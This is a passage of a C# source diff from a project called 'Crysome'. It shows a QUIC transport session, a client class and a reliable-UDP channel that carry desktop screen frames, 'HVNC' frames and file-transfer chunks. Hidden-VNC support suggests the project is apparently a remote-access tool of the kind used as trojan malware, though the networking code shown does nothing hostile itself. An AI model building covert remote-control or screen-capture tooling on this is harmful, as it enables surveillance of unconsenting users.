throw new IOException("Invalid frame length");
|
||||
}
|
||||
byte[] buf = new byte[num];
|
||||
await ReadExactAsync(stream, buf, ct).ConfigureAwait(continueOnCapturedContext: false);
|
||||
return buf;
|
||||
}
|
||||
|
||||
private static async Task ReadExactAsync(QuicStream stream, Memory<byte> buffer, CancellationToken ct)
|
||||
{
|
||||
int num;
|
||||
for (int o = 0; o < buffer.Length; o += num)
|
||||
{
|
||||
num = await stream.ReadAsync(buffer.Slice(o), ct).ConfigureAwait(continueOnCapturedContext: false);
|
||||
if (num == 0)
|
||||
{
|
||||
throw new IOException("Stream ended");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public void SendFin()
|
||||
{
|
||||
try
|
||||
{
|
||||
_cts.Cancel();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
_alive = false;
|
||||
}
|
||||
|
||||
private void TriggerDisconnect()
|
||||
{
|
||||
if (_disposed)
|
||||
{
|
||||
return;
|
||||
}
|
||||
_alive = false;
|
||||
try
|
||||
{
|
||||
_cts.Cancel();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
this.Disconnected?.Invoke();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
if (_disposed)
|
||||
{
|
||||
return;
|
||||
}
|
||||
_disposed = true;
|
||||
_alive = false;
|
||||
try
|
||||
{
|
||||
_cts.Cancel();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
_screenChannel.Writer.TryComplete();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
_control?.Dispose();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
_screenOut?.Dispose();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
_screenIn?.Dispose();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
_bulkOut?.Dispose();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
_bulkIn?.Dispose();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
_conn?.DisposeAsync().AsTask().Wait(2000);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
public async ValueTask DisposeAsync()
|
||||
{
|
||||
Dispose();
|
||||
await Task.CompletedTask;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,280 @@
|
||||
using System;
|
||||
using System.Collections.Concurrent;
|
||||
using System.IO;
|
||||
using System.Net;
|
||||
using System.Threading;
|
||||
using Crysome.Common.Network.FileTransfer;
|
||||
using Crysome.Common.Network.Packets;
|
||||
using Crysome.Common.Network.Transport;
|
||||
|
||||
namespace Crysome.Common.Network;
|
||||
|
||||
public class CrysomeClient
|
||||
{
|
||||
private ITransportSession _transport;
|
||||
|
||||
private RudpChannel _rudp;
|
||||
|
||||
private CancellationTokenSource _readCts = new CancellationTokenSource();
|
||||
|
||||
private readonly BlockingCollection<IPacket> _inQueue = new BlockingCollection<IPacket>(2048);
|
||||
|
||||
private bool _serverSide;
|
||||
|
||||
public bool IsConnected
|
||||
{
|
||||
get
|
||||
{
|
||||
if (_transport != null)
|
||||
{
|
||||
if (_transport.IsAlive)
|
||||
{
|
||||
return !_readCts.IsCancellationRequested;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
if (_rudp != null && _rudp.IsAlive)
|
||||
{
|
||||
return !_readCts.IsCancellationRequested;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public IPEndPoint RemoteAddress
|
||||
{
|
||||
get
|
||||
{
|
||||
object obj = _transport?.RemoteEndPoint;
|
||||
if (obj == null)
|
||||
{
|
||||
RudpChannel rudp = _rudp;
|
||||
if (rudp == null)
|
||||
{
|
||||
return null;
|
||||
}
|
||||
obj = rudp.Remote;
|
||||
}
|
||||
return (IPEndPoint)obj;
|
||||
}
|
||||
}
|
||||
|
||||
public IPEndPoint LocalAddress => _transport?.LocalEndPoint;
|
||||
|
||||
public int Port => LocalAddress?.Port ?? 0;
|
||||
|
||||
public double RttMs => _transport?.RttMs ?? _rudp?.RttMs ?? 0.0;
|
||||
|
||||
public double LossRate => _transport?.LossRate ?? _rudp?.LossRate ?? 0.0;
|
||||
|
||||
public long BytesSent => _transport?.BytesSent ?? _rudp?.BytesSent ?? 0;
|
||||
|
||||
public long BytesRecv => _transport?.BytesRecv ?? _rudp?.BytesRecv ?? 0;
|
||||
|
||||
public uint UdpSessionToken { get; set; }
|
||||
|
||||
public IPEndPoint UdpRemoteEndPoint { get; set; }
|
||||
|
||||
public uint UdpLastFrameSeq { get; set; }
|
||||
|
||||
public event EventHandler PacketReceived;
|
||||
|
||||
public event EventHandler PacketSent;
|
||||
|
||||
public CrysomeClient(ITransportSession transport, bool serverSide)
|
||||
{
|
||||
AttachTransport(transport, serverSide);
|
||||
}
|
||||
|
||||
public CrysomeClient(RudpChannel channel)
|
||||
{
|
||||
AttachRudp(channel);
|
||||
}
|
||||
|
||||
public CrysomeClient()
|
||||
{
|
||||
}
|
||||
|
||||
public void Connect(IPAddress address, int port)
|
||||
{
|
||||
QuicTransportSession result = QuicTransportSession.ConnectClientAsync(new IPEndPoint(address, port), CancellationToken.None).AsTask().GetAwaiter()
|
||||
.GetResult();
|
||||
AttachTransport(result, serverSide: false);
|
||||
}
|
||||
|
||||
private void AttachTransport(ITransportSession transport, bool serverSide)
|
||||
{
|
||||
_transport = transport;
|
||||
_serverSide = serverSide;
|
||||
_transport.ReliableReceived += OnReliableData;
|
||||
_transport.UnreliableFrameReceived += OnUnreliableControl;
|
||||
_transport.Disconnected += OnDisconnected;
|
||||
}
|
||||
|
||||
private void AttachRudp(RudpChannel channel)
|
||||
{
|
||||
_rudp = channel;
|
||||
_rudp.ReliableReceived += OnReliableData;
|
||||
_rudp.UnreliableFrameReceived += OnUnreliableControl;
|
||||
_rudp.Disconnected += OnDisconnected;
|
||||
}
|
||||
|
||||
public RudpChannel GetRudpChannel()
|
||||
{
|
||||
return _rudp;
|
||||
}
|
||||
|
||||
public void SendPacket(IPacket packet)
|
||||
{
|
||||
byte[] array = PacketSerializer.Serialize(packet);
|
||||
if (_transport != null)
|
||||
{
|
||||
if (_serverSide && packet is FtChunkPacket)
|
||||
{
|
||||
_transport.SendReliableBulk(array);
|
||||
}
|
||||
else
|
||||
{
|
||||
_transport.SendReliable(array);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
_rudp.SendReliable(array);
|
||||
}
|
||||
this.PacketSent?.Invoke(this, EventArgs.Empty);
|
||||
}
|
||||
|
||||
public void SendPacketUnreliable(IPacket packet)
|
||||
{
|
||||
byte[] array = PacketSerializer.Serialize(packet);
|
||||
if (_transport != null)
|
||||
{
|
||||
_transport.SendPacketUnreliable(array);
|
||||
}
|
||||
else
|
||||
{
|
||||
_rudp.SendUnreliable(0, array);
|
||||
}
|
||||
this.PacketSent?.Invoke(this, EventArgs.Empty);
|
||||
}
|
||||
|
||||
public void SendDesktopScreenFrame(byte[] jpegData)
|
||||
{
|
||||
if (jpegData != null && jpegData.Length != 0)
|
||||
{
|
||||
if (_transport != null)
|
||||
{
|
||||
_transport.SendUnreliableScreen(36, jpegData);
|
||||
}
|
||||
else
|
||||
{
|
||||
_rudp.SendUnreliable(36, jpegData);
|
||||
}
|
||||
this.PacketSent?.Invoke(this, EventArgs.Empty);
|
||||
}
|
||||
}
|
||||
|
||||
public void SendHvncFrame(byte[] jpegData)
|
||||
{
|
||||
if (jpegData != null && jpegData.Length != 0)
|
||||
{
|
||||
if (_transport != null)
|
||||
{
|
||||
_transport.SendUnreliableScreen(46, jpegData);
|
||||
}
|
||||
else
|
||||
{
|
||||
_rudp.SendUnreliable(46, jpegData);
|
||||
}
|
||||
this.PacketSent?.Invoke(this, EventArgs.Empty);
|
||||
}
|
||||
}
|
||||
|
||||
public IPacket ReadPacket()
|
||||
{
|
||||
try
|
||||
{
|
||||
IPacket result = _inQueue.Take(_readCts.Token);
|
||||
this.PacketReceived?.Invoke(this, EventArgs.Empty);
|
||||
return result;
|
||||
}
|
||||
catch (OperationCanceledException)
|
||||
{
|
||||
throw new IOException("Connection closed");
|
||||
}
|
||||
}
|
||||
|
||||
public void Disconnect()
|
||||
{
|
||||
_readCts.Cancel();
|
||||
try
|
||||
{
|
||||
_transport?.SendFin();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
_transport?.Dispose();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
_rudp?.SendFin();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
try
|
||||
{
|
||||
_rudp?.Dispose();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void OnReliableData(byte[] payload)
|
||||
{
|
||||
try
|
||||
{
|
||||
IPacket packet = PacketSerializer.Deserialize(payload);
|
||||
if (packet != null && !_inQueue.IsAddingCompleted)
|
||||
{
|
||||
_inQueue.TryAdd(packet, 100);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void OnUnreliableControl(byte typeId, byte[] data)
|
||||
{
|
||||
if (typeId != 0 || data == null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
try
|
||||
{
|
||||
IPacket packet = PacketSerializer.Deserialize(data);
|
||||
if (packet != null && !_inQueue.IsAddingCompleted)
|
||||
{
|
||||
_inQueue.TryAdd(packet, 20);
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void OnDisconnected()
|
||||
{
|
||||
_readCts.Cancel();
|
||||
_inQueue.CompleteAdding();
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,799 @@
|
||||
using System;
|
||||
using System.Collections.Concurrent;
|
||||
using System.Collections.Generic;
|
||||
using System.Net;
|
||||
using System.Net.Sockets;
|
||||
using System.Threading;
|
||||
using System.Threading.Tasks;
|
||||
|
||||
namespace Crysome.Common.Network;
|
||||
|
||||
public sealed class RudpChannel : IDisposable
|
||||
{
|
||||
private sealed class Pending
|
||||
{
|
||||
public uint Seq;
|
||||
|
||||
public byte[][] Datagrams;
|
||||
|
||||
public DateTime SentAt;
|
||||
|
||||
public DateTime LastSent;
|
||||
|
||||
public int Retries;
|
||||
}
|
||||
|
||||
private sealed class FragBuf
|
||||
{
|
||||
public byte[][] Frags;
|
||||
|
||||
public int RecvCount;
|
||||
|
||||
public DateTime Created = DateTime.UtcNow;
|
||||
|
||||
public bool IsComplete
|
||||
{
|
||||
get
|
||||
{
|
||||
if (Frags != null)
|
||||
{
|
||||
return RecvCount >= Frags.Length;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public const int HeaderSize = 19;
|
||||
|
||||
private const int WireMtuSafePayload = 1200;
|
||||
|
||||
public const byte F_RELIABLE = 1;
|
||||
|
||||
public const byte F_UNRELIABLE = 2;
|
||||
|
||||
public const byte F_ACK = 4;
|
||||
|
||||
public const byte F_SYN = 8;
|
||||
|
||||
public const byte F_SYNACK = 16;
|
||||
|
||||
public const byte F_FIN = 32;
|
||||
|
||||
public const byte F_KEEPALIVE = 64;
|
||||
|
||||
private const int InitRto = 500;
|
||||
|
||||
private const int MaxRto = 16000;
|
||||
|
||||
private const int MaxRetries = 15;
|
||||
|
||||
private const int KeepaliveMs = 5000;
|
||||
|
||||
private const int TimeoutMs = 30000;
|
||||
|
||||
private const int MaxInFlight = 64;
|
||||
|
||||
private readonly UdpClient _socket;
|
||||
|
||||
private readonly bool _ownsSocket;
|
||||
|
||||
private uint _sendSeq;
|
||||
|
||||
private uint _recvSeq;
|
||||
|
||||
private uint _unrelSendSeq;
|
||||
|
||||
private uint _unrelLastSeq;
|
||||
|
||||
private readonly object _seqLock = new object();
|
||||
|
||||
private readonly ConcurrentDictionary<uint, Pending> _pending = new ConcurrentDictionary<uint, Pending>();
|
||||
|
||||
private readonly SortedDictionary<uint, byte[]> _ooo = new SortedDictionary<uint, byte[]>();
|
||||
|
||||
private readonly object _oooLock = new object();
|
||||
|
||||
private readonly ConcurrentDictionary<uint, FragBuf> _fragBufs = new ConcurrentDictionary<uint, FragBuf>();
|
||||
|
||||
private readonly ConcurrentDictionary<uint, FragBuf> _relFragBufs = new ConcurrentDictionary<uint, FragBuf>();
|
||||
|
||||
private int _rtoMs = 500;
|
||||
|
||||
private bool _rtoDoubledThisCycle;
|
||||
|
||||
private DateTime _lastActivity = DateTime.UtcNow;
|
||||
|
||||
private CancellationTokenSource _cts;
|
||||
|
||||
private bool _disposed;
|
||||
|
||||
private readonly SemaphoreSlim _sendWindow = new SemaphoreSlim(64, 64);
|
||||
|
||||
private readonly object _statsLock = new object();
|
||||
|
||||
private double _srtt = 100.0;
|
||||
|
||||
private double _rttvar = 50.0;
|
||||
|
||||
public uint SessionId { get; private set; }
|
||||
|
||||
public IPEndPoint Remote { get; private set; }
|
||||
|
||||
public bool IsAlive
|
||||
{
|
||||
get
|
||||
{
|
||||
if (!_disposed)
|
||||
{
|
||||
return (DateTime.UtcNow - _lastActivity).TotalMilliseconds < 30000.0;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
public double RttMs { get; private set; } = 100.0;
|
||||
|
||||
public double LossRate { get; private set; }
|
||||
|
||||
public long BytesSent { get; private set; }
|
||||
|
||||
public long BytesRecv { get; private set; }
|
||||
|
||||
public long PktsSent { get; private set; }
|
||||
|
||||
public long PktsLost { get; private set; }
|
||||
|
||||
public event Action<byte[]> ReliableReceived;
|
||||
|
||||
public event Action<byte, byte[]> UnreliableFrameReceived;
|
||||
|
||||
public event Action Disconnected;
|
||||
|
||||
public event Action<double> CongestionChanged;
|
||||
|
||||
public RudpChannel(uint sessionId, IPEndPoint remote, int localPort = 0)
|
||||
{
|
||||
SessionId = sessionId;
|
||||
Remote = remote;
|
||||
_socket = new UdpClient(localPort);
|
||||
_socket.Client.ReceiveBufferSize = 8388608;
|
||||
_socket.Client.SendBufferSize = 8388608;
|
||||
_ownsSocket = true;
|
||||
}
|
||||
|
||||
public RudpChannel(uint sessionId, IPEndPoint remote, UdpClient sharedSocket)
|
||||
{
|
||||
SessionId = sessionId;
|
||||
Remote = remote;
|
||||
_socket = sharedSocket;
|
||||
_ownsSocket = false;
|
||||
}
|
||||
|
||||
public void Start()
|
||||
{
|
||||
_cts = new CancellationTokenSource();
|
||||
if (_ownsSocket)
|
||||
{
|
||||
Task.Run(delegate
|
||||
{
|
||||
OwnedReceiveLoop(_cts.Token);
|
||||
});
|
||||
}
|
||||
Task.Run(delegate
|
||||
{
|
||||
RetransmitLoop(_cts.Token);
|
||||
});
|
||||
Task.Run(delegate
|
||||
{
|
||||
KeepaliveLoop(_cts.Token);
|
||||
});
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
if (_disposed)
|
||||
{
|
||||
return;
|
||||
}
|
||||
_disposed = true;
|
||||
try
|
||||
{
|
||||
_cts?.Cancel();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
if (_ownsSocket)
|
||||
{
|
||||
try
|
||||
{
|
||||
_socket?.Close();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
int count = _pending.Count;
|
||||
_pending.Clear();
|
||||
for (int i = 0; i < count + 64; i++)
|
||||
{
|
||||
try
|
||||
{
|
||||
_sendWindow.Release();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public void SendReliable(byte[] payload)
|
||||
{
|
||||
if (_disposed)
|
||||
{
|
||||
return;
|
||||
}
|
||||
_sendWindow.Wait();
|
||||
if (_disposed)
|
||||
{
|
||||
_sendWindow.Release();
|
||||
return;
|
||||
}
|
||||
int num = Math.Max(1, (payload.Length + 1200 - 1) / 1200);
|
||||
uint num2;
|
||||
lock (_seqLock)
|
||||
{
|
||||
num2 = ++_sendSeq;
|
||||
}
|
||||
byte[][] array = new byte[num][];
|
||||
for (ushort num3 = 0; num3 < num; num3++)
|
||||
{
|
||||
int num4 = num3 * 1200;
|
||||
int payLen = Math.Min(1200, payload.Length - num4);
|
||||
array[num3] = BuildDatagram(1, num2, 0u, num3, (ushort)num, 0, payload, num4, payLen);
|
||||
}
|
||||
Pending value = new Pending
|
||||
{
|
||||
Seq = num2,
|
||||
Datagrams = array,
|
||||
SentAt = DateTime.UtcNow,
|
||||
LastSent = DateTime.UtcNow
|
||||
};
|
||||
_pending[num2] = value;
|
||||
bool flag = num > 4;
|
||||
byte[][] array2 = array;
|
||||
foreach (byte[] dg in array2)
|
||||
{
|
||||
RawSend(dg);
|
||||
if (flag)
|
||||
{
|
||||
Thread.Sleep(2);
|
||||
}
|
||||
}
|
||||
PktsSent++;
|
||||
}
|
||||
|
||||
public void SendUnreliable(byte packetTypeId, byte[] payload)
|
||||
{
|
||||
if (_disposed)
|
||||
{
|
||||
return;
|
||||
}
|
||||
uint seqNum;
|
||||
lock (_seqLock)
|
||||
{
|
||||
seqNum = ++_unrelSendSeq;
|
||||
}
|
||||
int num = Math.Max(1, (payload.Length + 1200 - 1) / 1200);
|
||||
for (ushort num2 = 0; num2 < num; num2++)
|
||||
{
|
||||
int num3 = num2 * 1200;
|
||||
int payLen = Math.Min(1200, payload.Length - num3);
|
||||
byte[] dg = BuildDatagram(2, seqNum, 0u, num2, (ushort)num, packetTypeId, payload, num3, payLen);
|
||||
RawSend(dg);
|
||||
if (num > 16 && (num2 & 0xF) == 15 && num2 < num - 1)
|
||||
{
|
||||
Thread.Sleep(1);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
public void SendSyn()
|
||||
{
|
||||
byte[] dg = BuildDatagram(8, 0u, 0u, 0, 1, 0, new byte[0], 0, 0);
|
||||
RawSend(dg);
|
||||
}
|
||||
|
||||
public void SendSynAck()
|
||||
{
|
||||
byte[] dg = BuildDatagram(16, SessionId, 0u, 0, 1, 0, new byte[0], 0, 0);
|
||||
RawSend(dg);
|
||||
}
|
||||
|
||||
public void SendFin()
|
||||
{
|
||||
byte[] dg = BuildDatagram(32, 0u, 0u, 0, 1, 0, new byte[0], 0, 0);
|
||||
try
|
||||
{
|
||||
RawSend(dg);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
public void FeedDatagram(byte[] datagram)
|
||||
{
|
||||
ProcessDatagram(datagram);
|
||||
}
|
||||
|
||||
private async void OwnedReceiveLoop(CancellationToken ct)
|
||||
{
|
||||
while (!ct.IsCancellationRequested && !_disposed)
|
||||
{
|
||||
try
|
||||
{
|
||||
ProcessDatagram((await _socket.ReceiveAsync()).Buffer);
|
||||
}
|
||||
catch (ObjectDisposedException)
|
||||
{
|
||||
break;
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void ProcessDatagram(byte[] dg)
|
||||
{
|
||||
if (dg == null || dg.Length < 19)
|
||||
{
|
||||
return;
|
||||
}
|
||||
_lastActivity = DateTime.UtcNow;
|
||||
BytesRecv += dg.Length;
|
||||
BitConverter.ToUInt32(dg, 0);
|
||||
byte b = dg[4];
|
||||
uint seq = BitConverter.ToUInt32(dg, 5);
|
||||
uint ackSeq = BitConverter.ToUInt32(dg, 9);
|
||||
ushort fragIdx = BitConverter.ToUInt16(dg, 13);
|
||||
ushort fragCount = BitConverter.ToUInt16(dg, 15);
|
||||
byte typeId = dg[17];
|
||||
int payLen = dg.Length - 19;
|
||||
if ((b & 4) != 0)
|
||||
{
|
||||
HandleAck(ackSeq);
|
||||
}
|
||||
else if ((b & 0x40) == 0)
|
||||
{
|
||||
if ((b & 0x20) != 0)
|
||||
{
|
||||
TriggerDisconnect();
|
||||
}
|
||||
else if ((b & 1) != 0)
|
||||
{
|
||||
HandleReliableData(seq, fragIdx, fragCount, dg, payLen);
|
||||
}
|
||||
else if ((b & 2) != 0)
|
||||
{
|
||||
HandleUnreliableData(seq, typeId, fragIdx, fragCount, dg, payLen);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void HandleAck(uint ackSeq)
|
||||
{
|
||||
if (_pending.TryRemove(ackSeq, out var value))
|
||||
{
|
||||
double totalMilliseconds = (DateTime.UtcNow - value.SentAt).TotalMilliseconds;
|
||||
UpdateRtt(totalMilliseconds);
|
||||
try
|
||||
{
|
||||
_sendWindow.Release();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void HandleReliableData(uint seq, ushort fragIdx, ushort fragCount, byte[] dg, int payLen)
|
||||
{
|
||||
int num = 19;
|
||||
if (payLen < 0 || num + payLen > dg.Length)
|
||||
{
|
||||
return;
|
||||
}
|
||||
byte[] array = new byte[payLen];
|
||||
if (payLen > 0)
|
||||
{
|
||||
Buffer.BlockCopy(dg, num, array, 0, payLen);
|
||||
}
|
||||
if (fragCount > 1)
|
||||
{
|
||||
FragBuf orAdd = _relFragBufs.GetOrAdd(seq, (uint _) => new FragBuf
|
||||
{
|
||||
Frags = new byte[fragCount][]
|
||||
});
|
||||
if (fragIdx >= orAdd.Frags.Length || orAdd.Frags[fragIdx] != null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
orAdd.Frags[fragIdx] = array;
|
||||
Interlocked.Increment(ref orAdd.RecvCount);
|
||||
if (!orAdd.IsComplete)
|
||||
{
|
||||
return;
|
||||
}
|
||||
_relFragBufs.TryRemove(seq, out var _);
|
||||
SendAck(seq);
|
||||
int num2 = 0;
|
||||
byte[][] frags = orAdd.Frags;
|
||||
foreach (byte[] array2 in frags)
|
||||
{
|
||||
if (array2 != null)
|
||||
{
|
||||
num2 += array2.Length;
|
||||
}
|
||||
}
|
||||
byte[] array3 = new byte[num2];
|
||||
int num4 = 0;
|
||||
frags = orAdd.Frags;
|
||||
foreach (byte[] array4 in frags)
|
||||
{
|
||||
if (array4 != null)
|
||||
{
|
||||
Buffer.BlockCopy(array4, 0, array3, num4, array4.Length);
|
||||
num4 += array4.Length;
|
||||
}
|
||||
}
|
||||
array = array3;
|
||||
}
|
||||
else
|
||||
{
|
||||
SendAck(seq);
|
||||
}
|
||||
lock (_oooLock)
|
||||
{
|
||||
uint num5 = _recvSeq + 1;
|
||||
if (seq == num5 || _recvSeq == 0)
|
||||
{
|
||||
_recvSeq = seq;
|
||||
DispatchReliable(array);
|
||||
while (true)
|
||||
{
|
||||
uint num6 = _recvSeq + 1;
|
||||
if (_ooo.TryGetValue(num6, out var value2))
|
||||
{
|
||||
_ooo.Remove(num6);
|
||||
_recvSeq = num6;
|
||||
DispatchReliable(value2);
|
||||
continue;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
else if ((int)(seq - num5) > 0 && !_ooo.ContainsKey(seq))
|
||||
{
|
||||
_ooo[seq] = array;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private void HandleUnreliableData(uint seq, byte typeId, ushort fragIdx, ushort fragCount, byte[] dg, int payLen)
|
||||
{
|
||||
lock (_seqLock)
|
||||
{
|
||||
if (_unrelLastSeq != 0 && (int)(seq - _unrelLastSeq) <= 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
}
|
||||
int num = 19;
|
||||
if (payLen < 0 || num + payLen > dg.Length)
|
||||
{
|
||||
return;
|
||||
}
|
||||
byte[] array = new byte[payLen];
|
||||
if (payLen > 0)
|
||||
{
|
||||
Buffer.BlockCopy(dg, num, array, 0, payLen);
|
||||
}
|
||||
if (fragCount <= 1)
|
||||
{
|
||||
lock (_seqLock)
|
||||
{
|
||||
_unrelLastSeq = seq;
|
||||
}
|
||||
DispatchUnreliable(typeId, array);
|
||||
return;
|
||||
}
|
||||
FragBuf orAdd = _fragBufs.GetOrAdd(seq, (uint _) => new FragBuf
|
||||
{
|
||||
Frags = new byte[fragCount][]
|
||||
});
|
||||
if (fragIdx >= orAdd.Frags.Length || orAdd.Frags[fragIdx] != null)
|
||||
{
|
||||
return;
|
||||
}
|
||||
orAdd.Frags[fragIdx] = array;
|
||||
Interlocked.Increment(ref orAdd.RecvCount);
|
||||
if (!orAdd.IsComplete)
|
||||
{
|
||||
return;
|
||||
}
|
||||
_fragBufs.TryRemove(seq, out var _);
|
||||
lock (_seqLock)
|
||||
{
|
||||
if (_unrelLastSeq != 0 && (int)(seq - _unrelLastSeq) <= 0)
|
||||
{
|
||||
return;
|
||||
}
|
||||
_unrelLastSeq = seq;
|
||||
}
|
||||
int num2 = 0;
|
||||
byte[][] frags = orAdd.Frags;
|
||||
foreach (byte[] array2 in frags)
|
||||
{
|
||||
if (array2 != null)
|
||||
{
|
||||
num2 += array2.Length;
|
||||
}
|
||||
}
|
||||
byte[] array3 = new byte[num2];
|
||||
int num4 = 0;
|
||||
frags = orAdd.Frags;
|
||||
foreach (byte[] array4 in frags)
|
||||
{
|
||||
if (array4 != null)
|
||||
{
|
||||
Buffer.BlockCopy(array4, 0, array3, num4, array4.Length);
|
||||
num4 += array4.Length;
|
||||
}
|
||||
}
|
||||
DispatchUnreliable(typeId, array3);
|
||||
}
|
||||
|
||||
private void DispatchReliable(byte[] data)
|
||||
{
|
||||
Task.Run(delegate
|
||||
{
|
||||
try
|
||||
{
|
||||
this.ReliableReceived?.Invoke(data);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
private void DispatchUnreliable(byte typeId, byte[] data)
|
||||
{
|
||||
Task.Run(delegate
|
||||
{
|
||||
try
|
||||
{
|
||||
this.UnreliableFrameReceived?.Invoke(typeId, data);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
private async void RetransmitLoop(CancellationToken ct)
|
||||
{
|
||||
while (!ct.IsCancellationRequested && !_disposed)
|
||||
{
|
||||
await Task.Delay(50, ct).ContinueWith(delegate
|
||||
{
|
||||
});
|
||||
DateTime utcNow = DateTime.UtcNow;
|
||||
FragBuf value;
|
||||
foreach (KeyValuePair<uint, FragBuf> fragBuf in _fragBufs)
|
||||
{
|
||||
if ((utcNow - fragBuf.Value.Created).TotalSeconds > 10.0)
|
||||
{
|
||||
_fragBufs.TryRemove(fragBuf.Key, out value);
|
||||
}
|
||||
}
|
||||
foreach (KeyValuePair<uint, FragBuf> relFragBuf in _relFragBufs)
|
||||
{
|
||||
if ((utcNow - relFragBuf.Value.Created).TotalSeconds > 60.0)
|
||||
{
|
||||
_relFragBufs.TryRemove(relFragBuf.Key, out value);
|
||||
}
|
||||
}
|
||||
_rtoDoubledThisCycle = false;
|
||||
foreach (KeyValuePair<uint, Pending> item in _pending)
|
||||
{
|
||||
Pending value2 = item.Value;
|
||||
if ((utcNow - value2.LastSent).TotalMilliseconds < (double)_rtoMs)
|
||||
{
|
||||
continue;
|
||||
}
|
||||
if (value2.Retries >= 15)
|
||||
{
|
||||
if (_pending.TryRemove(value2.Seq, out var _))
|
||||
{
|
||||
PktsLost++;
|
||||
UpdateLossRate();
|
||||
try
|
||||
{
|
||||
_sendWindow.Release();
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
continue;
|
||||
}
|
||||
value2.Retries++;
|
||||
value2.LastSent = utcNow;
|
||||
if (!_rtoDoubledThisCycle)
|
||||
{
|
||||
_rtoMs = Math.Min(_rtoMs * 2, 16000);
|
||||
_rtoDoubledThisCycle = true;
|
||||
}
|
||||
bool flag = value2.Datagrams.Length > 4;
|
||||
byte[][] datagrams = value2.Datagrams;
|
||||
foreach (byte[] dg in datagrams)
|
||||
{
|
||||
RawSend(dg);
|
||||
if (flag)
|
||||
{
|
||||
Thread.Sleep(1);
|
||||
}
|
||||
}
|
||||
}
|
||||
UpdateCongestionMetric();
|
||||
if ((utcNow - _lastActivity).TotalMilliseconds > 30000.0)
|
||||
{
|
||||
TriggerDisconnect();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private async void KeepaliveLoop(CancellationToken ct)
|
||||
{
|
||||
while (!ct.IsCancellationRequested && !_disposed)
|
||||
{
|
||||
await Task.Delay(5000, ct).ContinueWith(delegate
|
||||
{
|
||||
});
|
||||
if (!_disposed)
|
||||
{
|
||||
try
|
||||
{
|
||||
byte[] dg = BuildDatagram(64, 0u, 0u, 0, 1, 0, new byte[0], 0, 0);
|
||||
RawSend(dg);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
continue;
|
||||
}
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
private void SendAck(uint seq)
|
||||
{
|
||||
byte[] dg = BuildDatagram(4, 0u, seq, 0, 1, 0, new byte[0], 0, 0);
|
||||
try
|
||||
{
|
||||
RawSend(dg);
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
|
||||
private void UpdateRtt(double sample)
|
||||
{
|
||||
lock (_statsLock)
|
||||
{
|
||||
_rttvar = 0.75 * _rttvar + 0.25 * Math.Abs(_srtt - sample);
|
||||
_srtt = 0.875 * _srtt + 0.125 * sample;
|
||||
RttMs = _srtt;
|
||||
_rtoMs = Math.Max(200, Math.Min(16000, (int)(_srtt + 4.0 * _rttvar)));
|
||||
}
|
||||
}
|
||||
|
||||
private void UpdateLossRate()
|
||||
{
|
||||
double val = ((PktsSent > 0) ? ((double)PktsLost / (double)PktsSent) : 0.0);
|
||||
LossRate = Math.Min(1.0, val);
|
||||
}
|
||||
|
||||
private void UpdateCongestionMetric()
|
||||
{
|
||||
UpdateLossRate();
|
